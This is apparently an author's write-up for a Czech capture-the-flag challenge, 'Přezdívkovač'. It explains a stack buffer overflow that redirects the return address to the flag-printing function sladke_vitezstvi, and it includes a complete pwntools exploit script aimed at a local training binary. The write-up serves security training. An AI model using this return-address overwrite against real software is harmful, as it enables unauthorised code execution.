Přezdívkovač - Autorské řešení úlohy

Challenge author

Writeup author

Table of Contents

Solution #

You need to use buffer overflow to overwrite the return address to the address of function sladke_vitezstvi, that will print the flag.

Exploit script #

An example exploit is provided. By default exploits localhost on port 9999. This can be very easily edited inside the exploit on line 21.

NOTE: The exploit requires the pwntools library.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./chall
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or './chall')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote('localhost', 9999)
    else:
        return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

io = start()

payload = fit({
     cyclic_find(0x6261616362616162): exe.sym['sladke_vitezstvi'],
})
io.sendlineafter(b"no: ", payload)
flag = io.recvall()
log.success(flag)